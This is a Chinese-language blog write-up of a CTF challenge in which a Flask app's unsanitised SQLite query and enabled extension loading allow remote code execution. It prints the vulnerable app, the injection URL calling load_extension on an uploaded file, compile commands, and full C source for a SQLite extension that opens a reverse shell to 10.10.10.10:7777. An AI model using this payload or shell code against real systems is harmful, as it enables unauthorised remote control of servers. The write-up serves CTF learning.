DAS关于一道Sqlite注入RCE的题目

2023-05-18 09:17:30 浏览数 (3)

DAS关于一道Sqlite注入RCE的题目

sql注入玩了很多, 但是今天晚上DAS的一个活动趣味题目里面出了一道sqlite注入的题目用了sqlite的插件加载完成RCE, 而对我来说之前几乎对sqlite是完全不了解的(这应该不算一个合格的web手了哈哈), 所以在这里简单记录一下吧

解题的过程

代码语言:javascript复制
import os
from flask import Flask, request, send_from_directory
from werkzeug.utils import secure_filename
import sqlite3
import time

ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = "/app/img/"
app.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024

html = '''
    <!DOCTYPE html>
    <form action="/upload" method=post enctype=multipart/form-data>
         <input type=file name=file>
         <input type=submit value=上传文件>
    </form>
    '''
con = sqlite3.connect(':memory:',check_same_thread=False)
cur = con.cursor()
con.enable_load_extension(True)
cur.execute('CREATE TABLE picture (filename char(50))')

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET','POST'])
def source():
    return send_from_directory('/app','app.py',as_attachment=False)

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        file = request.files['file']
        if file and allowed_file(file.filename):
            filename = str(int(time.time()))   secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            cur.execute("insert into picture values ('{filename}')".format(filename=filename))
            con.commit()
            return "file uploaded in " app.config['UPLOAD_FOLDER'] filename
    return html

@app.route('/download', methods=['GET'])
def download_file():
    filename = request.args.get("filename")
    output = cur.execute("select * from picture where filename='{filename}'".format(filename=filename)).fetchone()
    if output != None:
        return send_from_directory('/app/img', output[0], as_attachment=True)
    else:
        return "file does not exist"

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=5000,debug=True)
  1. 首页直接显示源码
  2. /uplaod 可上传一个后缀为.png等几个图片后缀的文件, 并将文件名放入数据库, 返回绝对路径
  3. downlaod 查找数据库, 然后将文件输出

初步的尝试

/uplaod

这里面将文件名存入数据库, 因此一开始自然想到了../的文件名

在flask中, 对于上传文件的文件名获取处理方式和PHP并不相同, PHP中会获取原始文件名中的最后一个文件名, 而falsk中的request.files['file']则是会将原始文件名全部拿到

获取原始文件名后, 检查后缀必须为图片格式后缀

str(int(time.time())) secure_filename(file.filename), 前面加个时间戳, 然后使用secure_filename函数处理原始文件名, 这一点挺重要的, 因为测试后发现这个函数会将/删除, .会被替换为_(连续多个的.会被替换为一个_), 另外例如,,(,),'这些非字母数字下换线的也会被直接删除, 所以不管是sqlite注入还是路径穿越的都不用想了(其实这里即使存入数据库的文件名完全可控对我们也没什么用)

分析完了之后得出结论: 只能老老实实上擦混一个后缀名为图片格式的文件(且文件名刷不出什么花招)

/download

先分析一下逻辑:

  1. 先根据我们传入的文件名执行sql语句
  2. 然后将得到的结果作为文件名通过send_from_directory函数返回

这里就是重点了, 因为一眼看出这里可以sqlite注入, 对我们传入的数据未做任何处理过滤就插入了执行语句中

注意一点, 这里的flag是不可能在sqlite数据库中的, 因为这个sqlite并没有进行任何的文件读取操作, 而是使用sqlite3.connect(':memory:')的方式将数据库放在缓存中, 只在使用完了之后再保存在本地, 所以它是没有任何原始数据的 而且也不需要和任何服务端进行连接(这点个人感觉就是sqlite的一个很重要的特点了, CTF的题目几乎都是mysql, nodejs的题目则是有不少使用sqlite的, 之前一直没理解好这点所以对sqlite的注入一直有点蒙圈的状态) 除了不需要连接之外, 也可以直接指定一个文件作为数据库, 后面的全部操作都是存在数据库中的(因为不需要开启任何服务所以感觉就是对一个程序来说打开文件的sqlite程序即是客户端也是服务端了)

既然flag不在数据库中那么我们单纯对数据库的的注入就没有太大意义了, 应该将目光转到文件读取RCE上面

文件读取先看一下后面的函数send_from_directory, 这个函数可以说就是会对第二个文件名参数(也就是我们的可控的数据)进行绝对路径的获取, 并且取到最后的文件名, 是不存在目录穿越的, 例如

代码语言:javascript复制
../../../../../../flag => None 文件名不能以../开头,否则返回None
..   => None 文件名不能为..,否则返回None
a//a    => None 文件名不能包含,否则返回None
./flag   => flag
a/./flag => flag
a/../../../flag  => flag 
a/../../.././flag    => flag 
a/../../../flag/flag1    => flag/flag1

获得的文件名会被拼接到第一个参数(目录)的后面, 然后读取文件将读取内容返回

所以就是说使用了这个函数之后我们不管怎么控制第二个参数都只能获取第一个参数目录下面的文件, 题目中为/app/img

经过分析可以知道, 我们只能获取得到/app/img下面的文件,这里面的文件都是我们上传上去的,想获取的话直接将上传文件返回的文件名作为filename参数即可

另外我又尝试了下下面两点也是不可行的, 但是还是记一下吧:

  1. 想通过找到读取文件的sqlite参数进行文件读取然后算出PIN码拿后台, 但是并没有找到文件读取的可用函数
  2. 堆叠注入, 通过语句执行达到更大的活动权限, 但是代码中的语句都是只能支持一句代码的, 因此失败(但是貌似即使可以堆叠貌似也只能写shell(也许是我找的文章不多没看到吧),这对python来说是没太大用处的)

真正只能到这里了嘛?

New Point

我们需要注意前面的一行代码:

代码语言:javascript复制
con.enable_load_extension(True)

这行代码的作用就是让我们可以通过sqlite中执行load_extension函数进行扩展库加载

扩展库加载 可以联想到MYSQL的UDF提权?

其实是的, 都差不多, 都是加载.so(也可以是其他的后缀)文件

这里就是直接上传一个shell.png(就是我们编译好的sqlite拓展库格式的.so文件)然后得到绝对路径/app/img/1664806144shell.png

再通过sqlite注入注入执行load_extension加载拓展

代码语言:javascript复制
/download?filename=1'||load_extension('/app/img/1664806144shell.png');--

然后就可以直接执行编译好的代码反弹shell了

那么要怎么生成这个so文件呢?

Sqlite加载.so拓展反弹shell

shell.c 源码如下:

代码语言:javascript复制
/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = 7777;
char *ip = "10.10.10.10";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
  sqlite3 *db, 
  char **pzErrMsg, 
  const sqlite3_api_routines *pApi
){
  int rc = SQLITE_OK;
  SQLITE_EXTENSION_INIT2(pApi);

  int fd;
  if ( fork() <= 0){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(tcp_port);
    addr.sin_addr.s_addr = inet_addr(ip);

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
            exit(0);
    }

    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    execve("/bin/bash", 0LL, 0LL);
}

  return rc;
}

编译前先安装sqlite环境:

代码语言:javascript复制
sudo apt install libsqlite3-dev

执行编译:

代码语言:javascript复制
gcc -g -fPIC -shared shell.c -o shell.so

之后就是直接将shell.so的后缀名改为png上传即可

代码语言:javascript复制
/download?filename=1'||load_extension('/app/img/1664806144shell.png');--

如果我们在load_extension函数中指定加载的文件没有后缀名的话会被自动添加.so的后缀

上面代码来自CTF之SQL注入之load_extension函数

官网的拓展加载说明: https://sqlite.org/loadext.html

默认况下这个拓展加载功能是不开启的(所以一旦看到开启拓展加载的代码的话就应该想到这个知识点了) 除了load_extension之外也可以使用sqlite_load_extension 进行拓展加载

0 人点赞